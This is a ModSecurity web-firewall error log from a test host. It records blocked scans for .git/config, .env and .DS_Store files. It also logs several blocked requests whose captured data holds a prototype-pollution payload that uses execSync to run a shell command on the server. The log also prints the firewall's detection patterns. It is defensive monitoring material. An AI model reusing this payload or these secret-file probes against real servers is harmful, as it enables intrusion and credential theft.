[Sun Dec 14 20:14:46.999476 2025] [:error] [pid 725962] [client 45.153.34.216:54976] [client 45.153.34.216] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT8MpnmE4vWx48cpXwLdaQAAAAY"]
[Sun Dec 14 20:14:46.999743 2025] [:error] [pid 725962] [client 45.153.34.216:54976] [client 45.153.34.216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT8MpnmE4vWx48cpXwLdaQAAAAY"]
[Sun Dec 14 20:14:46.999910 2025] [:error] [pid 725962] [client 45.153.34.216:54976] [client 45.153.34.216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT8MpnmE4vWx48cpXwLdaQAAAAY"]
[Mon Dec 15 10:36:58.476781 2025] [:error] [pid 753485] [client 3.24.138.108:48992] [client 3.24.138.108] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_Wul6QOQKFA4Kg29pEawAAAAg"]
[Mon Dec 15 10:36:58.477307 2025] [:error] [pid 753485] [client 3.24.138.108:48992] [client 3.24.138.108] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_Wul6QOQKFA4Kg29pEawAAAAg"]
[Mon Dec 15 10:36:58.478296 2025] [:error] [pid 753485] [client 3.24.138.108:48992] [client 3.24.138.108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_Wul6QOQKFA4Kg29pEawAAAAg"]
[Mon Dec 15 10:36:58.478514 2025] [:error] [pid 753485] [client 3.24.138.108:48992] [client 3.24.138.108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_Wul6QOQKFA4Kg29pEawAAAAg"]
[Mon Dec 15 10:36:58.536703 2025] [:error] [pid 753418] [client 3.24.138.108:48994] [client 3.24.138.108] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_WutZMDoRMOZGm79bB2gAAAA0"]
[Mon Dec 15 10:36:58.537226 2025] [:error] [pid 753418] [client 3.24.138.108:48994] [client 3.24.138.108] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_WutZMDoRMOZGm79bB2gAAAA0"]
[Mon Dec 15 10:36:58.538272 2025] [:error] [pid 753418] [client 3.24.138.108:48994] [client 3.24.138.108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_WutZMDoRMOZGm79bB2gAAAA0"]
[Mon Dec 15 10:36:58.538517 2025] [:error] [pid 753418] [client 3.24.138.108:48994] [client 3.24.138.108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT_WutZMDoRMOZGm79bB2gAAAA0"]
[Tue Dec 16 04:54:29.980147 2025] [authz_core:error] [pid 769634] [client 139.59.231.238:58494] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Dec 16 04:54:34.174439 2025] [:error] [pid 769694] [client 139.59.231.238:58524] [client 139.59.231.238] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUDX-rpMgFLwbYMxrhXwvwAAAAk"]
[Tue Dec 16 04:54:34.174714 2025] [:error] [pid 769694] [client 139.59.231.238:58524] [client 139.59.231.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUDX-rpMgFLwbYMxrhXwvwAAAAk"]
[Tue Dec 16 04:54:34.174893 2025] [:error] [pid 769694] [client 139.59.231.238:58524] [client 139.59.231.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUDX-rpMgFLwbYMxrhXwvwAAAAk"]
[Tue Dec 16 04:54:35.310457 2025] [:error] [pid 769630] [client 139.59.231.238:58536] [client 139.59.231.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUDX-yvnb3zi6ztVI1XL7gAAAAU"]
[Tue Dec 16 04:54:35.310700 2025] [:error] [pid 769630] [client 139.59.231.238:58536] [client 139.59.231.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUDX-yvnb3zi6ztVI1XL7gAAAAU"]
[Tue Dec 16 04:54:35.310873 2025] [:error] [pid 769630] [client 139.59.231.238:58536] [client 139.59.231.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUDX-yvnb3zi6ztVI1XL7gAAAAU"]
[Tue Dec 16 04:54:37.411395 2025] [:error] [pid 769365] [client 139.59.231.238:58550] [client 139.59.231.238] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUDX_b6pu6t2QFY7wBUNSQAAAAI"]
[Tue Dec 16 04:54:37.411635 2025] [:error] [pid 769365] [client 139.59.231.238:58550] [client 139.59.231.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUDX_b6pu6t2QFY7wBUNSQAAAAI"]
[Tue Dec 16 04:54:37.411796 2025] [:error] [pid 769365] [client 139.59.231.238:58550] [client 139.59.231.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUDX_b6pu6t2QFY7wBUNSQAAAAI"]
[Tue Dec 16 06:04:47.449974 2025] [authz_core:error] [pid 769706] [client 138.197.191.87:46446] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Dec 16 06:04:50.452284 2025] [:error] [pid 769693] [client 138.197.191.87:41892] [client 138.197.191.87] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUDocoWY4vtx7NKgDW_HxQAAAAg"]
[Tue Dec 16 06:04:50.452535 2025] [:error] [pid 769693] [client 138.197.191.87:41892] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUDocoWY4vtx7NKgDW_HxQAAAAg"]
[Tue Dec 16 06:04:50.452696 2025] [:error] [pid 769693] [client 138.197.191.87:41892] [client 138.197.191.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUDocoWY4vtx7NKgDW_HxQAAAAg"]
[Tue Dec 16 06:04:51.452696 2025] [:error] [pid 769634] [client 138.197.191.87:41904] [client 138.197.191.87] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUDoc9SGqM_nkIdCd74dlQAAAAY"]
[Tue Dec 16 06:04:51.452947 2025] [:error] [pid 769634] [client 138.197.191.87:41904] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUDoc9SGqM_nkIdCd74dlQAAAAY"]
[Tue Dec 16 06:04:51.453140 2025] [:error] [pid 769634] [client 138.197.191.87:41904] [client 138.197.191.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUDoc9SGqM_nkIdCd74dlQAAAAY"]
[Tue Dec 16 06:04:53.452659 2025] [:error] [pid 769365] [client 138.197.191.87:41908] [client 138.197.191.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUDodb6pu6t2QFY7wBUNXgAAAAI"]
[Tue Dec 16 06:04:53.452899 2025] [:error] [pid 769365] [client 138.197.191.87:41908] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUDodb6pu6t2QFY7wBUNXgAAAAI"]
[Tue Dec 16 06:04:53.453062 2025] [:error] [pid 769365] [client 138.197.191.87:41908] [client 138.197.191.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUDodb6pu6t2QFY7wBUNXgAAAAI"]
[Tue Dec 16 15:51:15.381214 2025] [:error] [pid 772763] [client 13.201.77.79:34096] [client 13.201.77.79] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUFx40TslcuLtSi1oftLKgAAAAU"]
[Tue Dec 16 15:51:15.381718 2025] [:error] [pid 772763] [client 13.201.77.79:34096] [client 13.201.77.79] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUFx40TslcuLtSi1oftLKgAAAAU"]
[Tue Dec 16 15:51:15.382640 2025] [:error] [pid 772763] [client 13.201.77.79:34096] [client 13.201.77.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUFx40TslcuLtSi1oftLKgAAAAU"]
[Tue Dec 16 15:51:15.382811 2025] [:error] [pid 772763] [client 13.201.77.79:34096] [client 13.201.77.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUFx40TslcuLtSi1oftLKgAAAAU"]
[Thu Dec 18 06:21:36.903202 2025] [authz_core:error] [pid 813218] [client 178.128.207.138:49976] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Dec 18 06:21:39.907647 2025] [:error] [pid 813018] [client 178.128.207.138:50006] [client 178.128.207.138] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUOPY0BkfFvq8O6HEbsoPgAAAAI"]
